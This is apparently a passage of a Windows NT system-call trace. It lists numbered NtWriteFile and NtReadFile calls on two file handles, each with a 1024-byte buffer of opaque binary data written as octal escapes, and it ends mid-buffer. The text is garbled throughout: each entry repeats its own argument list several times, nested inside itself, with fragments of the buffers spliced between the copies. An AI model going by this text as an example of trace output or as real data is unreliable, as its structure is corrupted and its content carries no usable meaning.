 01369  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "@#`\212\265\344\277\307\374\302\246\252:\200\12\251\240\9\270\310\235C\2615\230\231/_\251\6\256\337\202\227\15\301\247a0#\257\2051V\314uRiZI\2375\266\177sY\133\31@i\315\213\227T\222\23~t\252\352\352q6\310\22489\303N\341\5\253&)3\311Q\223\225\220Z_\275\316Ne=F\212\0\22\7~h\334\253\24n\366TFt*\340hVF\237\33Q\350\321\324\321\354\255}\4\313_\312x\305!4\331\222\1i\314<\11\244\21b\270\261|\365|Q\13\37\322\320\333\271\312\274'\254\320A\3328wE\272\17Z \376\211\242t8\275q\232\255\251\332\27\26\26_\211\13v6#\207\307.Sr\232\25O\221\342"\13dX\303jm\36w\16#b\27\3608\310\277 \335\316\276\262\3417\307Y\260\236\230\237\371\255\350,\21X}\363+\364\352wIt\260\215\3O\317Xh\335^EYo\265\304c\353A\242N\303X\273\251\323\346q\211\371\3655iC\25\253d\321\14\6\332\12t\203\5ITT1\251\31\375\243\353Q\10\266\327\277\370Q\3333q"s)ba\35\331h\227\301eZ\232\3141\333\271\220\244\204E\2104-4~ -\33\23\264\376f\13*\373\245\234\34\253h1\237H\356\232Tp\336\240\275\340@\7\34}g[\31\0_\266\336\325{\224q\251{\4U\241\332\312\327\333m\2211%\366\276\251", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \13dX\303jm\36w\16#b\27\3608\310\277 \335\316\276\262\3417\307Y\260\236\230\237\371\255\350,\21X}\363+\364\352wIt\260\215\3O\317Xh\335^EYo\265\304c\353A\242N\303X\273\251\323\346q\211\371\3655iC\25\253d\321\14\6\332\12t\203\5ITT1\251\31\375\243\353Q\10\266\327\277\370Q\3333q (92, 0, 0, 0, "@#`\212\265\344\277\307\374\302\246\252:\200\12\251\240\9\270\310\235C\2615\230\231/_\251\6\256\337\202\227\15\301\247a0#\257\2051V\314uRiZI\2375\266\177sY\133\31@i\315\213\227T\222\23~t\252\352\352q6\310\22489\303N\341\5\253&)3\311Q\223\225\220Z_\275\316Ne=F\212\0\22\7~h\334\253\24n\366TFt*\340hVF\237\33Q\350\321\324\321\354\255}\4\313_\312x\305!4\331\222\1i\314<\11\244\21b\270\261|\365|Q\13\37\322\320\333\271\312\274'\254\320A\3328wE\272\17Z \376\211\242t8\275q\232\255\251\332\27\26\26_\211\13v6#\207\307.Sr\232\25O\221\342"\13dX\303jm\36w\16#b\27\3608\310\277 \335\316\276\262\3417\307Y\260\236\230\237\371\255\350,\21X}\363+\364\352wIt\260\215\3O\317Xh\335^EYo\265\304c\353A\242N\303X\273\251\323\346q\211\371\3655iC\25\253d\321\14\6\332\12t\203\5ITT1\251\31\375\243\353Q\10\266\327\277\370Q\3333q"s)ba\35\331h\227\301eZ\232\3141\333\271\220\244\204E\2104-4~ -\33\23\264\376f\13*\373\245\234\34\253h1\237H\356\232Tp\336\240\275\340@\7\34}g[\31\0_\266\336\325{\224q\251{\4U\241\332\312\327\333m\2211%\366\276\251", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01370  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "z\4\337\2166\302$8\201Yka\305\_\10S\266\27\210]\5\233$\15\216\223M\331\26N\304\5>\212\314E*\23c6n4\210\376\10v\374\17n\25\2\251\12|D-..110\276Cq`3\320\37:+\277\3712\274\343\34\342k\7H\255vg$%'\330=E\360)-\256.\3534\2\362ljhm7\273\3752\370\235\271\373=\13\35\226\3\237!6\332"Z-2\206)\301!+"\352.%\266\316234#"\337\302\378\7"zwqcjtj_'^_\2166\360*FA[Y\6d]Mf\356zlj7H\230xZ\216_qPJ$\363~\246(\3318HX-E^0\221\5\235GE6U>I\36\313Y;\236^\35\266\266_\37\226\324!\342\241%\352\246(\234\212?\373(/\315\2611\362\16\331A6\221\300H:\373\1>\275;\31\22\234\36J\360\34\277\243W\371\277\346*\37\353)\231\251\35\346r5Vr0\266\2\216:=\230\25199<\327\262\36\31\336\32$\371!\313\275%"\344\5\251{wMp-"0\361\30\333V\225\310\310\377\205, ) Z-2\206)\301!+ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "z\4\337\2166\302$8\201Yka\305\_\10S\266\27\210]\5\233$\15\216\223M\331\26N\304\5>\212\314E*\23c6n4\210\376\10v\374\17n\25\2\251\12|D-..110\276Cq`3\320\37:+\277\3712\274\343\34\342k\7H\255vg$%'\330=E\360)-\256.\3534\2\362ljhm7\273\3752\370\235\271\373=\13\35\226\3\237!6\332"Z-2\206)\301!+"\352.%\266\316234#"\337\302\378\7"zwqcjtj_'^_\2166\360*FA[Y\6d]Mf\356zlj7H\230xZ\216_qPJ$\363~\246(\3318HX-E^0\221\5\235GE6U>I\36\313Y;\236^\35\266\266_\37\226\324!\342\241%\352\246(\234\212?\373(/\315\2611\362\16\331A6\221\300H:\373\1>\275;\31\22\234\36J\360\34\277\243W\371\277\346*\37\353)\231\251\35\346r5Vr0\266\2\216:=\230\25199<\327\262\36\31\336\32$\371!\313\275%"\344\5\251{wMp-"0\361\30\333V\225\310\310\377\205, ) \337\302\378\7254\34E{ \250/# \246\342W\352y.+-\275'/\374\3352Y4\312^\317\267z::X\275\237?\37Ly\227:\240\253b\317lv\20 j`d+~h}/2D\X4[Y@V9?rQ\275_X~L|jw\240\256 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "z\4\337\2166\302$8\201Yka\305\_\10S\266\27\210]\5\233$\15\216\223M\331\26N\304\5>\212\314E*\23c6n4\210\376\10v\374\17n\25\2\251\12|D-..110\276Cq`3\320\37:+\277\3712\274\343\34\342k\7H\255vg$%'\330=E\360)-\256.\3534\2\362ljhm7\273\3752\370\235\271\373=\13\35\226\3\237!6\332"Z-2\206)\301!+"\352.%\266\316234#"\337\302\378\7"zwqcjtj_'^_\2166\360*FA[Y\6d]Mf\356zlj7H\230xZ\216_qPJ$\363~\246(\3318HX-E^0\221\5\235GE6U>I\36\313Y;\236^\35\266\266_\37\226\324!\342\241%\352\246(\234\212?\373(/\315\2611\362\16\331A6\221\300H:\373\1>\275;\31\22\234\36J\360\34\277\243W\371\277\346*\37\353)\231\251\35\346r5Vr0\266\2\216:=\230\25199<\327\262\36\31\336\32$\371!\313\275%"\344\5\251{wMp-"0\361\30\333V\225\310\310\377\205, ) \344\5\251{wMp- (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "z\4\337\2166\302$8\201Yka\305\_\10S\266\27\210]\5\233$\15\216\223M\331\26N\304\5>\212\314E*\23c6n4\210\376\10v\374\17n\25\2\251\12|D-..110\276Cq`3\320\37:+\277\3712\274\343\34\342k\7H\255vg$%'\330=E\360)-\256.\3534\2\362ljhm7\273\3752\370\235\271\373=\13\35\226\3\237!6\332"Z-2\206)\301!+"\352.%\266\316234#"\337\302\378\7"zwqcjtj_'^_\2166\360*FA[Y\6d]Mf\356zlj7H\230xZ\216_qPJ$\363~\246(\3318HX-E^0\221\5\235GE6U>I\36\313Y;\236^\35\266\266_\37\226\324!\342\241%\352\246(\234\212?\373(/\315\2611\362\16\331A6\221\300H:\373\1>\275;\31\22\234\36J\360\34\277\243W\371\277\346*\37\353)\231\251\35\346r5Vr0\266\2\216:=\230\25199<\327\262\36\31\336\32$\371!\313\275%"\344\5\251{wMp-"0\361\30\333V\225\310\310\377\205, ) , ) == 0x0
 01371  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\15[\177C\377\267\244M\342\226\213j\246\313e\26\37\367_C\337G8\250\221\341\252\350:b\210"6\11c\16\311\217K\207\251 \17uq\307c\207\24\254U\0\3279/\22\364\311 vM\340Q\312`;\340\247\202\35Otr~c\214%\344\27^~\31p4\365O\305R\365K\31\342\12\377\115\331>\35\305\371aX\326J\227\333[\6\350\263\3467Q\325i\22\352\264i\313W\220H\230A\235\321\256\353\13)\276/H\276{\1\240\255\6\323GC\311\243\271\3457O\335\375<\26\241M`\326\307G]IVKa\212\311\33b5a\367`\362Trtm2\304\347.?\371N\320\314\221\311\343TC\331\347\301\222\276U\257\311\0\364\223\2617$OI1\341\253\342\1\220T\12\352\323\307\224Y\20"QE%\367F3\312c\376\25\223\3\225C\3733\222]\225\241\325\3615J\14\350\227E\277\263\325\223qT\252\371)\202\340\311R\311\377\3439P\214\277`\247i3\5\6\375\q?\335\251\360BW@\251\307\212Kz\317\25zSs\215\272\275lp\365\305\312\373\363H\243\36\268g\275%}c\217\225X>\321\265Y\253\336a\321\251\10j!\246m\253#g\356\374\246,\312AL\17Q1\254\313y|Dn~\3205=\310\362\315f\335\205\266\36\355e\267[\17\244l\254\237$\276\12\353#\207\352\335b,\333\240U\312\336\271\15\322\6\35c\377\3022\244\261h\261\213\364\14\350_\330Aq\373\277\245\5HR\4\261\253\372\304\333\322\252\11\254Cl\112\256]\227iV\233\252\226U\204i@h\364\214\270\20\273\0j\367\357\362\354n\270\325{0\206i\\352\34\2044w\364)\237\316'\2q\360\226\247\12\330\235\303WZ\346(^\2507\271\q\315\20V\275\35f\14P;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 6\11c\16\311\217K\207\251 \17uq\307c\207\24\254U\0\3279/\22\364\311 vM\340Q\312`;\340\247\202\35Otr~c\214%\344\27^~\31p4\365O\305R\365K\31\342\12\377\115\331>\35\305\371aX\326J\227\333[\6\350\263\3467Q\325i\22\352\264i\313W\220H\230A\235\321\256\353\13)\276/H\276{\1\240\255\6\323GC\311\243\271\3457O\335\375<\26\241M`\326\307G]IVKa\212\311\33b5a\367`\362Trtm2\304\347.?\371N\320\314\221\311\343TC\331\347\301\222\276U\257\311\0\364\223\2617$OI1\341\253\342\1\220T\12\352\323\307\224Y\20 (92, 0, 0, 0, "\15[\177C\377\267\244M\342\226\213j\246\313e\26\37\367_C\337G8\250\221\341\252\350:b\210"6\11c\16\311\217K\207\251 \17uq\307c\207\24\254U\0\3279/\22\364\311 vM\340Q\312`;\340\247\202\35Otr~c\214%\344\27^~\31p4\365O\305R\365K\31\342\12\377\115\331>\35\305\371aX\326J\227\333[\6\350\263\3467Q\325i\22\352\264i\313W\220H\230A\235\321\256\353\13)\276/H\276{\1\240\255\6\323GC\311\243\271\3457O\335\375<\26\241M`\326\307G]IVKa\212\311\33b5a\367`\362Trtm2\304\347.?\371N\320\314\221\311\343TC\331\347\301\222\276U\257\311\0\364\223\2617$OI1\341\253\342\1\220T\12\352\323\307\224Y\20"QE%\367F3\312c\376\25\223\3\225C\3733\222]\225\241\325\3615J\14\350\227E\277\263\325\223qT\252\371)\202\340\311R\311\377\3439P\214\277`\247i3\5\6\375\q?\335\251\360BW@\251\307\212Kz\317\25zSs\215\272\275lp\365\305\312\373\363H\243\36\268g\275%}c\217\225X>\321\265Y\253\336a\321\251\10j!\246m\253#g\356\374\246,\312AL\17Q1\254\313y|Dn~\3205=\310\362\315f\335\205\266\36\355e\267[\17\244l\254\237$\276\12\353#\207\352\335b,\333\240U\312\336\271\15\322\6\35c\377\3022\244\261h\261\213\364\14\350_\330Aq\373\277\245\5HR\4\261\253\372\304\333\322\252\11\254Cl\112\256]\227iV\233\252\226U\204i@h\364\214\270\20\273\0j\367\357\362\354n\270\325{0\206i\\352\34\2044w\364)\237\316'\2q\360\226\247\12\330\235\303WZ\346(^\2507\271\q\315\20V\275\35f\14P;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01372  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\363\324$4\226\11\303:\351\10\306\266\3217(\364\36>L\255\215\13S\4\231\231\231\243\344\313%\301$o\255Za1\3024\32066\223\313oij\346L3\15\316\/m\35sn\241z\242\15v(k\33\34\321{t\356QCPP\6\6\310E\257Pp8m=\312\215T\243.>\35\372\10\243Ha\312\327'\310\13<0\251f\3343B\264\362G4>\275c\34)h\304)\177\6>\253J\25\223[ \221\256\242&\225v\254l\15>z/u*}`0jF\10\276`\313\270\262\206\37\310+>=\37T\35OMH}\37g$$&\252g@\302\330\344\321\321/&t\362?L4>f\3234:+\24n\276=\332\35ON\35\7\21#\4\240\371\2{\313\16\213\37\215\250\242\355.\325\3\3\275\261\22!\373~[\23\275\321\26\203\33\37\35\32\241`#\253\237\200\1\344\347(\220\4\253 |\312,\361;\362$uE\27~VOU\375NZ\337\33\31A\36\34\205  X\4W&{\2).wIU^\317\^@VF7\177W\264\31f)\34\334\260\32x\375\222NmO!AFWV\25\25fL:c, \376/t!7\23\14g\336F\31<\2737}>:\327y\204\315\23O\201\11\360:\3018\213\108<\312=\250(N)\370\3411\332\32n\2061\250=jZ<\257:\26\331\25\15K\327)$\343*w\340/o\345\301\16p\304\350\15\2c\340\21[\4\24\2675j\306\354l\375\33T\15\3L\365$\14"\220G|z~\337\300Mvt\371\304S:\240">2\:\2\251G\227\252\257Ktt\37\243k\216\372!\200P\276R\274T\264VO8\2\250&\3117\242\3764|\3427c\3122"\260\102\3403\271\227?\13\37\240\36\36", ) \220G|z~\337\300Mvt\371\304S:\240 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\363\324$4\226\11\303:\351\10\306\266\3217(\364\36>L\255\215\13S\4\231\231\231\243\344\313%\301$o\255Za1\3024\32066\223\313oij\346L3\15\316\/m\35sn\241z\242\15v(k\33\34\321{t\356QCPP\6\6\310E\257Pp8m=\312\215T\243.>\35\372\10\243Ha\312\327'\310\13<0\251f\3343B\264\362G4>\275c\34)h\304)\177\6>\253J\25\223[ \221\256\242&\225v\254l\15>z/u*}`0jF\10\276`\313\270\262\206\37\310+>=\37T\35OMH}\37g$$&\252g@\302\330\344\321\321/&t\362?L4>f\3234:+\24n\276=\332\35ON\35\7\21#\4\240\371\2{\313\16\213\37\215\250\242\355.\325\3\3\275\261\22!\373~[\23\275\321\26\203\33\37\35\32\241`#\253\237\200\1\344\347(\220\4\253 |\312,\361;\362$uE\27~VOU\375NZ\337\33\31A\36\34\205  X\4W&{\2).wIU^\317\^@VF7\177W\264\31f)\34\334\260\32x\375\222NmO!AFWV\25\25fL:c, \376/t!7\23\14g\336F\31<\2737}>:\327y\204\315\23O\201\11\360:\3018\213\108<\312=\250(N)\370\3411\332\32n\2061\250=jZ<\257:\26\331\25\15K\327)$\343*w\340/o\345\301\16p\304\350\15\2c\340\21[\4\24\2675j\306\354l\375\33T\15\3L\365$\14"\220G|z~\337\300Mvt\371\304S:\240">2\:\2\251G\227\252\257Ktt\37\243k\216\372!\200P\276R\274T\264VO8\2\250&\3117\242\3764|\3427c\3122"\260\102\3403\271\227?\13\37\240\36\36", ) \260\102\3403\271\227?\13\37\240\36\36", ) == 0x0
 01373  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "N \316"\227&4\266\20\20{W\343d\304l\12+\331{\244So\342\204\225\272 \233]\230H2%\304\340\10H\200\266\4\12c\362\2\247)\14\206!\266\3023\263\362\242k\311\377>\16\333H=7\242\37\261X\255\375\215\217\240\302\223Z[\31\333\1776b\362\332e]\232l\370&e\222\273\201\337\371 `\223~\334R\250\333(\277e\36\204\247\222\252I\300\5xo1\346l\243\354\213\202'\22\202 \305Yi\202\336\353\223G\357\310h/\356$r\3314=\205]lb\362\14\334\310\344\233\22\22\374\311\226\200\276?\242h0\230K\10\247\1\331\362\341.\35 \344y\12\330\24\327\332k\274k\363~\2036\305z\222\244\17\20\373\356\326gt\206<\255^'z'\32\265N<\302?b@\23L\374\377\316\232t\26\234\316\377\273\306\251w\37j\363\12\245\232\5\271\363\10\16\322\221u\225W\236\300"\355\230J\37*\341\201\363\275\241Z\372\242h1\246(6\355\211\354C\357\177\364\253\200\262\336c\351C\231Z\211\352\334\374\342z\271\315Ee+O,t\11t)\204\277g\16\312\347\203\300\36%\244\12\244\234\305k:&\2601\240\303\211\17@\301(y\11\315\260\327X/\242\362fuZ\246b\365\3\234{9\335\333\222\336\344;C\276gb\236\351\322${\312\366\217<0=x\6\310\236\322\214sG\3078\x\370RH3\352U\203\352K \271u,Tk\12\260@\2\207t7\33\336\332}N\177\341\315\360\2\7FV\326`\10\241\226\364\201u\236\311D\20\371Wb\353\306\371\4\0\1\322G\211\326\242\331:L\314V\3104\370\252\367\227*\237\332\225\24N\225\254\31\362\204\274\226\37%\77\204Ydh\25\310$\316\276\273PCF\311\354A\6B<\224\200\23\364\271hS\374B", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \227&4\266\20\20{W\343d\304l\12+\331{\244So\342\204\225\272 \233]\230H2%\304\340\10H\200\266\4\12c\362\2\247)\14\206!\266\3023\263\362\242k\311\377>\16\333H=7\242\37\261X\255\375\215\217\240\302\223Z[\31\333\1776b\362\332e]\232l\370&e\222\273\201\337\371 `\223~\334R\250\333(\277e\36\204\247\222\252I\300\5xo1\346l\243\354\213\202'\22\202 \305Yi\202\336\353\223G\357\310h/\356$r\3314=\205]lb\362\14\334\310\344\233\22\22\374\311\226\200\276?\242h0\230K\10\247\1\331\362\341.\35 \344y\12\330\24\327\332k\274k\363~\2036\305z\222\244\17\20\373\356\326gt\206<\255^'z'\32\265N<\302?b@\23L\374\377\316\232t\26\234\316\377\273\306\251w\37j\363\12\245\232\5\271\363\10\16\322\221u\225W\236\300 (92, 0, 0, 0, "N \316"\227&4\266\20\20{W\343d\304l\12+\331{\244So\342\204\225\272 \233]\230H2%\304\340\10H\200\266\4\12c\362\2\247)\14\206!\266\3023\263\362\242k\311\377>\16\333H=7\242\37\261X\255\375\215\217\240\302\223Z[\31\333\1776b\362\332e]\232l\370&e\222\273\201\337\371 `\223~\334R\250\333(\277e\36\204\247\222\252I\300\5xo1\346l\243\354\213\202'\22\202 \305Yi\202\336\353\223G\357\310h/\356$r\3314=\205]lb\362\14\334\310\344\233\22\22\374\311\226\200\276?\242h0\230K\10\247\1\331\362\341.\35 \344y\12\330\24\327\332k\274k\363~\2036\305z\222\244\17\20\373\356\326gt\206<\255^'z'\32\265N<\302?b@\23L\374\377\316\232t\26\234\316\377\273\306\251w\37j\363\12\245\232\5\271\363\10\16\322\221u\225W\236\300"\355\230J\37*\341\201\363\275\241Z\372\242h1\246(6\355\211\354C\357\177\364\253\200\262\336c\351C\231Z\211\352\334\374\342z\271\315Ee+O,t\11t)\204\277g\16\312\347\203\300\36%\244\12\244\234\305k:&\2601\240\303\211\17@\301(y\11\315\260\327X/\242\362fuZ\246b\365\3\234{9\335\333\222\336\344;C\276gb\236\351\322${\312\366\217<0=x\6\310\236\322\214sG\3078\x\370RH3\352U\203\352K \271u,Tk\12\260@\2\207t7\33\336\332}N\177\341\315\360\2\7FV\326`\10\241\226\364\201u\236\311D\20\371Wb\353\306\371\4\0\1\322G\211\326\242\331:L\314V\3104\370\252\367\227*\237\332\225\24N\225\254\31\362\204\274\226\37%\77\204Ydh\25\310$\316\276\273PCF\311\354A\6B<\224\200\23\364\271hS\374B", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01374  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\13X`h*%\17\204\4P}1<\374p\237\313&\22E|!\234=\7\360X\220XA\201\252\2#w\3154\330)\302\6\374\242\254\257)\240s3\2445QC(Oi\323\313\36pj\363\362\26\235\37\10\260\324\3\266bNG\343*[\13-\11\351i(16\270\2608\252\7\20\260Wz\203<:?\30]\37A$f%\#\350\250h7y\301\345:\251(|8tj\2`\334\115%,\262\374\271.{\1778\26\227\23\277\35P\12\352\252*\345\143\252-(\25-:\247Q8\332?\27063\364!\374\320\204\253\227=\373\337\33\252\371\36\261\304!\204\307$\217\270\303(\277\316+\242\311.\251\3241\230M\3205@\3238W\336;Z\331>\265E\370\35H\375 \215\313m\300$\4a\312)\366\302\22\315.\227\240(\320&\302\320\344S8;\371\253:=\362 \33\3\35\341\0 >"<$:&8(6*4,2. /1-3+5$7R\306Rs<\214}?\32x\274\36\33 qF\252\1%"\244\304m\32}\255L:E?\2121P\274;7<\352xKc0V\300O\21\345~\226\243-b3$!\316\205\275\210+\15\215MA?1\331\247\2615v\2676\20;\322\263\276/N)p+\224!\270\22q\21z\37@*\34\241\32\226\30\311\6\424v\210\17\301\1\16\2M=\7\221"\367$6%C \242\14\371\37<\34}\22\272+\27\340\25\234\24211\271\242\3451\274\260\366\262\254<<\326\267P}\12\26\177\310\261\2230\251kX\317F\270\312"S:Z8\6!tI#<\363F/", ) <$:&8(6*4,2. /1-3+5$7R\306Rs<\214}?\32x\274\36\33 qF\252\1% (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\13X`h*%\17\204\4P}1<\374p\237\313&\22E|!\234=\7\360X\220XA\201\252\2#w\3154\330)\302\6\374\242\254\257)\240s3\2445QC(Oi\323\313\36pj\363\362\26\235\37\10\260\324\3\266bNG\343*[\13-\11\351i(16\270\2608\252\7\20\260Wz\203<:?\30]\37A$f%\#\350\250h7y\301\345:\251(|8tj\2`\334\115%,\262\374\271.{\1778\26\227\23\277\35P\12\352\252*\345\143\252-(\25-:\247Q8\332?\27063\364!\374\320\204\253\227=\373\337\33\252\371\36\261\304!\204\307$\217\270\303(\277\316+\242\311.\251\3241\230M\3205@\3238W\336;Z\331>\265E\370\35H\375 \215\313m\300$\4a\312)\366\302\22\315.\227\240(\320&\302\320\344S8;\371\253:=\362 \33\3\35\341\0 >"<$:&8(6*4,2. /1-3+5$7R\306Rs<\214}?\32x\274\36\33 qF\252\1%"\244\304m\32}\255L:E?\2121P\274;7<\352xKc0V\300O\21\345~\226\243-b3$!\316\205\275\210+\15\215MA?1\331\247\2615v\2676\20;\322\263\276/N)p+\224!\270\22q\21z\37@*\34\241\32\226\30\311\6\424v\210\17\301\1\16\2M=\7\221"\367$6%C \242\14\371\37<\34}\22\272+\27\340\25\234\24211\271\242\3451\274\260\366\262\254<<\326\267P}\12\26\177\310\261\2230\251kX\317F\270\312"S:Z8\6!tI#<\363F/", ) /N)p+\224!\270\22q\21z\37@*\34\241\32\226\30\311\6\424v\210\17\301\1\16\2M=\7\221 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\13X`h*%\17\204\4P}1<\374p\237\313&\22E|!\234=\7\360X\220XA\201\252\2#w\3154\330)\302\6\374\242\254\257)\240s3\2445QC(Oi\323\313\36pj\363\362\26\235\37\10\260\324\3\266bNG\343*[\13-\11\351i(16\270\2608\252\7\20\260Wz\203<:?\30]\37A$f%\#\350\250h7y\301\345:\251(|8tj\2`\334\115%,\262\374\271.{\1778\26\227\23\277\35P\12\352\252*\345\143\252-(\25-:\247Q8\332?\27063\364!\374\320\204\253\227=\373\337\33\252\371\36\261\304!\204\307$\217\270\303(\277\316+\242\311.\251\3241\230M\3205@\3238W\336;Z\331>\265E\370\35H\375 \215\313m\300$\4a\312)\366\302\22\315.\227\240(\320&\302\320\344S8;\371\253:=\362 \33\3\35\341\0 >"<$:&8(6*4,2. /1-3+5$7R\306Rs<\214}?\32x\274\36\33 qF\252\1%"\244\304m\32}\255L:E?\2121P\274;7<\352xKc0V\300O\21\345~\226\243-b3$!\316\205\275\210+\15\215MA?1\331\247\2615v\2676\20;\322\263\276/N)p+\224!\270\22q\21z\37@*\34\241\32\226\30\311\6\424v\210\17\301\1\16\2M=\7\221"\367$6%C \242\14\371\37<\34}\22\272+\27\340\25\234\24211\271\242\3451\274\260\366\262\254<<\326\267P}\12\26\177\310\261\2230\251kX\317F\270\312"S:Z8\6!tI#<\363F/", ) S:Z8\6!tI#<\363F/", ) == 0x0
 01375  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ",\305\266}\370]\334\326\325\357\233D\5\3f\244\300\364\241p\0*\36\25\320\24'\206\230ENl\202F\236_\210\352\264l\327{\206\333\313\155\314\257\245\363\220\205\300\216\354ui\327D\274\335\5(\372\335\250\242\353)\314\202b\351\343\264\370\314a\266\376\206`T_!|\271\207\332\274\305Ls\355\206g\313\36\14\202\371Z\231\351\35\273u\330\357\375\267\355^\245\201\372\312\237\312\5R\316)RQ\307\247\217\321\230\346P\344\363i\377#\206\353\2\0-uk66\322\313QZo\270V1\345i\\215\240\326\324\352\212\216cGr!DL\253\373\374i\204\270_\241bL\337*"\201*\231\316\330\367B\331qK\306\275\265l\245B\6.\34!\217\23\34A\324\245\246.\23~\212\1\374g\240\267:\3]\314\253\246\341\250%\36\300\3Tqa\246\315\\253\206\346\3322\206(9\255^DS\217\30YkD\266\265\362z\16\26\304\200\357\3054\11\242\336"l\256\240\215\304\201\310A\27\352\22C\246j\23\360=K\264\230Ts\377\204+\230\352]\320F2oC\262\373\374?\327\326#sZ\3513\267\36\10\315/\72\244\10\7N"\344\333\274L\266\357p\3314\236\304\1e7vm\305\235;\271?{\207[\347\203T\10\360\\30\266\204\200l\15?&~#k\342x\246%\10\233\235|$\377\304FV\3016\20\232J\202L5\261\366\221\5\11\352\361F\231\272^=K\303\344B\267\262\325\37E\257\336AyV\357gL\366c}\243OM\346\275nY\304<\213\30\301\316\261z\202&\261W%\14\241\326?\360\224\275\305k\313\274'\232\274f\310\12\272\5\243[u\334Q\254\346S\2200c\277\256\177\20k\252\17x\320\275\231\312(u\373-\374\245\277(\364\346\31\347\244l)$\344\350", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \201*\231\316\330\367B\331qK\306\275\265l\245B\6.\34!\217\23\34A\324\245\246.\23~\212\1\374g\240\267:\3]\314\253\246\341\250%\36\300\3Tqa\246\315\\253\206\346\3322\206(9\255^DS\217\30YkD\266\265\362z\16\26\304\200\357\3054\11\242\336 (92, 0, 0, 0, ",\305\266}\370]\334\326\325\357\233D\5\3f\244\300\364\241p\0*\36\25\320\24'\206\230ENl\202F\236_\210\352\264l\327{\206\333\313\155\314\257\245\363\220\205\300\216\354ui\327D\274\335\5(\372\335\250\242\353)\314\202b\351\343\264\370\314a\266\376\206`T_!|\271\207\332\274\305Ls\355\206g\313\36\14\202\371Z\231\351\35\273u\330\357\375\267\355^\245\201\372\312\237\312\5R\316)RQ\307\247\217\321\230\346P\344\363i\377#\206\353\2\0-uk66\322\313QZo\270V1\345i\\215\240\326\324\352\212\216cGr!DL\253\373\374i\204\270_\241bL\337*"\201*\231\316\330\367B\331qK\306\275\265l\245B\6.\34!\217\23\34A\324\245\246.\23~\212\1\374g\240\267:\3]\314\253\246\341\250%\36\300\3Tqa\246\315\\253\206\346\3322\206(9\255^DS\217\30YkD\266\265\362z\16\26\304\200\357\3054\11\242\336"l\256\240\215\304\201\310A\27\352\22C\246j\23\360=K\264\230Ts\377\204+\230\352]\320F2oC\262\373\374?\327\326#sZ\3513\267\36\10\315/\72\244\10\7N"\344\333\274L\266\357p\3314\236\304\1e7vm\305\235;\271?{\207[\347\203T\10\360\\30\266\204\200l\15?&~#k\342x\246%\10\233\235|$\377\304FV\3016\20\232J\202L5\261\366\221\5\11\352\361F\231\272^=K\303\344B\267\262\325\37E\257\336AyV\357gL\366c}\243OM\346\275nY\304<\213\30\301\316\261z\202&\261W%\14\241\326?\360\224\275\305k\313\274'\232\274f\310\12\272\5\243[u\334Q\254\346S\2200c\277\256\177\20k\252\17x\320\275\231\312(u\373-\374\245\277(\364\346\31\347\244l)$\344\350", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \344\333\274L\266\357p\3314\236\304\1e7vm\305\235;\271?{\207[\347\203T\10\360\\30\266\204\200l\15?&~#k\342x\246%\10\233\235|$\377\304FV\3016\20\232J\202L5\261\366\221\5\11\352\361F\231\272^=K\303\344B\267\262\325\37E\257\336AyV\357gL\366c}\243OM\346\275nY\304<\213\30\301\316\261z\202&\261W%\14\241\326?\360\224\275\305k\313\274'\232\274f\310\12\272\5\243[u\334Q\254\346S\2200c\277\256\177\20k\252\17x\320\275\231\312(u\373-\374\245\277(\364\346\31\347\244l)$\344\350", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01376  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\255 \205&\276$\4\252\322a1\346\11\344\233\337^\253\30\256P\371E\34s%\6\227V^*$l\37.=,\363,\350=\15\32\40\3\77#\333g\13'+,\254\302\377210e\277-\202\23\340I:\233:k\326M\36\237*\366\233rI"4\340-\344/\255\277!.,\2756'\260\2116ce\335*\16I\250#*\15=&7 \335\31j\16 Z.u\257\27\257'\30\252\352/\27\354[\332$o\361\343?a\362<\351M,8\3743\3764j\235y\34\37#Q\0\247@\305{\242\6\301*/\256^\256!\230\264<3\3644\210t8<1;>?3\357\32\34\36\376\32-\21')\2442\2227\13- 